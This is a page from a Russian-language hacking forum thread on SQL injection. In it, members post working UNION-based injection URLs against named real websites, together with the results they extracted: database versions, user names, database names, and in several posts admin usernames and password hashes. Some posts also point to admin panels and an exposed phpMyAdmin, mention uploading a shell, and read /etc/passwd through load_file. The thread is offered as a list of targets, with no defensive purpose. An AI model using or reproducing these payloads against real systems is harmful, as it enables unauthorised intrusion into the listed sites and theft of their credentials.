SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.okfurniture.com/news.php?id=-17+union+select+1,2,3,group_concat(id,char(58),username,char(58),password)+from+ok_admins
     
    _________________________
  2. shuba

    shuba Elder - Старейшина

    Joined:
    22 May 2009
    Messages:
    592
    Likes Received:
    128
    Reputations:
    52
    http://alliance.la.asu.edu/azga/news.php?id=-66+union+select+1,concat_ws%280x3a,version(),user()),3,4,5,6,7+from+mysql.user--+

    5.0.75-0ubuntu10.3:gph211@localhost

    Как бы боян, ну у тебя скуля в другом месте просто.
     
    #12442 shuba, 5 Jul 2010
    Last edited by a moderator: 6 Jul 2010
  3. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    66
    Reputations:
    34
    шоп стим игор
    Code:
    http://keybox.com.ua/?m=8+and+1=0+union+select+1,concat_ws%280x3a,version(),user( )),3--+
    5.0.90-community:vikt_1@localhost
     
    #12443 wkar, 5 Jul 2010
    Last edited: 5 Jul 2010
  4. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    http://www.healthbynaturalhelp.info/index.php?action=view_article&id=1&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+

    User: [email protected]
    Database: db278217868
    Version: 5.0.81-log
    PageRank: 2
    ------------------------
    http://www.npspb.ru/index.php?action=view_article&id=21&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    User: admin_db@localhost
    Database: EXP_NPSPB
    Version: 4.1.18
    PageRank: 3
    CY: 30
    ------------------------
    http://www.thrive-pt.com/index.php?action=view_article&id=5&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    Database: thriveptdb
    Version: 5.0.83-log
    User: [email protected]
    PageRank: 2
    ------------------------
    http://www.arabhorsesociety.com/index.php?module=articlemodule&action=view_article&id=-5+union+select+1,2,3,4,5,6+--+
    Database: argoshil
    User: [email protected]
    Version: 4.1.22-standard
    PageRank: 4
    ------------------------
    http://www.kahuarecords.com/index.php?action=view_article&id=11&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    Database: mauirtrt_exp_nscms
    User: mauirtrt_nsexp@localhost
    Version: 5.0.51a-community
    PageRank: 3
    ------------------------
    http://www.eberhartsigns.net/index.php?action=view_article&id=3&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    Database: eberhartsigns
    User: eberhartsigns@localhost
    Version: 5.0.24a-standard
    ------------------------
    http://www.bristolpegasus.com/index.php?action=view_article&id=9&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    Database: bristolp_exponentcms
    User: bristolp_cms@localhost
    Version: 5.0.89-community
    Pagerank: 3
    ------------------------
    http://moreversatile.com/index.php?action=view_article&id=4&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    Database: vmsnet_mvEXP
    User: vmsnet_MVMS@localhost
    Version: 5.0.51a-community
    ------------------------
    http://www.ascensionhealing.sg/web/index.php?action=view_article&id=117&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    Database: providem_as4
    User: providem_ah4@localhost
    Version: 4.1.22-standard
    PageRank: 2
    ------------------------
     
    #12444 CyberHunter, 5 Jul 2010
    Last edited: 5 Jul 2010
    2 people like this.
  5. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    http://www.aprileonline.info/notizia.php?id=-14209+union+select+1,2,3,4,5,6,7,8,concat(user(),version(),database()),10,11,12,13,14,15,16,17+--+
    User: aprile_info@localhost
    Database: aprileonline_info
    Version: 5.0.27
    PageRank: 5
    CY: 20
    Admin Panel: http://www.aprileonline.info/administrator/

    Users: http://www.aprileonline.info/notizia.php?id=-14209+union+select+1,2,3,4,5,6,7,8,group_concat(username),group_concat(password),11,12,13,14,15,16,17+from+_users--+
    Пароли такие же как и логины. Шелл льется, вот только нет прав ни на что.
    -------------------------

    http://www.articolo21.org/notizie/-10+union+select+1,2,3,4,5,6,7,8,concat(user(),version(),database()),10,11,12,13,14,15,16,17+--+/1_audio-notizie.html

    User: elzevira21@localhost
    Database: articolo21_info
    Version: 5.0.77
    PageRank: 6
    CY: 10
    Admin Panel: http://www.articolo21.org/administrator/
    -------------------------
     
  6. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    ПОМОРСКАЯ ЯРМОРКА

    http://www.pomfair.ru/news.php?page=news&podr=-54+and+1=2+union+select+1,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),3,4+--


    version : 5.0.32-Debian_7etch12-log
    user : [email protected]
    database : z104082_pfair
    os : pc-linux-gnu
     
    1 person likes this.
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://www.fotoline.ru/goods.php?id=-296+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),7,8,9,0,1,2/*

    4.1.22-standard:fotoline_foto@localhost:fotoline_shop:pc-linux-gnu
     
    #12447 Gorev, 5 Jul 2010
    Last edited: 5 Jul 2010
    1 person likes this.
  8. shuba

    shuba Elder - Старейшина

    Joined:
    22 May 2009
    Messages:
    592
    Likes Received:
    128
    Reputations:
    52
    http://www.moy-pes.ru/view_dekor.php?id=-1'+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--+

    version:5.0.67-percona-highperf-b7-log:
    user:cobra666@localhost:
    database:cobra666_moy-pes@localhost
     
    1 person likes this.
  9. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    ----------------------
    http://nicoteraroofing.com/index.php?action=view_article&id=1&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    User: [email protected]
    Database: nr_exponent
    Version: 5.0.91-log
    ----------------------
    http://www.earthrace.net/index.php?action=view_article&id=60&module=articlemodule&id=1&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    User: earthrace_db@localhost
    Database: earthrace_cms
    Version: 4.1.22-standard
    PageRank: 5
    CY: 10
    ----------------------
    http://www.adozionepercorsi.it/index.php?action=view_article&id=37&module=articlemodule&id=-1+union+select+1,2,3,4,5,6+--+
    User: [email protected]
    Database: Sql210476_1
    Version: 5.0.91-enterprise-gpl-log
    PageRank: 2
    ----------------------
     
    1 person likes this.
  10. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.langanesbyggd.is/category.php?catID=-17+union+select+1,2,3,4,5,6,7

    PR-5

    ----------

    http://www.decode.com/news/news.php?story=-142+union+select+1,2,3,4

    OS : Red hat

    PR-7

    тИЦ-50
     
    _________________________
    #12450 Konqi, 6 Jul 2010
    Last edited: 6 Jul 2010
    3 people like this.
  11. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    ТИЦ 110 ПР 2
    http://magput.ru/?id=10&viewprog=4177+union+select+concat_ws(0x3a,login, pass)+from+db _magput.users--
    вывод в исходник, в кнопочку "Посмотреть наличие мест"
    magadmin.ru/admin
     
  12. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    5.0.91-community

    ТИЦ: 0
    PR: 5

    artist_featured
    artists
    categories
    news
    pro_featured
    pro_related
    pro_reviews
    products
    products_details
    topsellers
     
    _________________________
    1 person likes this.
  13. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    http://niksplus.ru/index.php?id_=2+union+select+1,2,3,4,concat_ws(0x3a,login,pass word),6,7,8,9, 10,11,12+from+ users--

    хотя тут скуля не нужна:
    http://niksplus.ru/phpmyadmin/main.php :)
     
  14. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    5.0.67:beautycall_co_uk_web:pmowat@localhost
    PR3
     
  15. Leone_510

    Leone_510 Banned

    Joined:
    5 Jan 2008
    Messages:
    25
    Likes Received:
    5
    Reputations:
    0
    Code:
    http://www.storycenter.org/stories/index.php?cat=-8/**/union/**/select/**/1,2,3,4,5,concat(version(),0x3b,user(),0x3b,database()),7/*
    4.1.25-Debian_mt1;[email protected];db3911_theater
     
  16. Leone_510

    Leone_510 Banned

    Joined:
    5 Jan 2008
    Messages:
    25
    Likes Received:
    5
    Reputations:
    0
    Code:
    http://www.pellami.ru/show.php?cat=1+union+select+1,2,concat(version(),0x3b,user(),0x3b,database()),4,5--
    5.0.90;[email protected];pellamiru
     
  17. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    PHP:
    http://goldenformula.net/news.php?id=-6+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6--
    http://goldenformula.net/news.php?id=-6+union+select+1,2,3,4,concat_ws(0x3a,username,password),6+from+jos_users+limit+0,1--
    5.0.90-log:u141047:[email protected]
    ТИЦ130
    PR3
     
  18. Getty

    Getty Banned

    Joined:
    17 Jun 2010
    Messages:
    104
    Likes Received:
    1
    Reputations:
    0
    Code:
    http://www.ukfinewatches.com/buy.php?id=-33+union+select+1,2,3,4,5,version(),database(),8,9,10,11,12,13,14,15,16,17,18,user()--
     
  19. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    молодец, копипастить умееш(http://forum.xakep.ru/fb.aspx?m=1929370) только копипаст у нас в другом разделе
     
  20. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    architecture.mit.edu
    PageRank 7/10

    root@localhost*5.0.37*mit_doa

    HTML:
    http://architecture.mit.edu/news-events.php?evt=-58+union+select+1,2,load_file('/etc/passwd'),4,5,6,concat_ws(0x2a,user(),version(),database()),8,9,10,11,12,13--
     
    1 person likes this.
Thread Status:
Not open for further replies.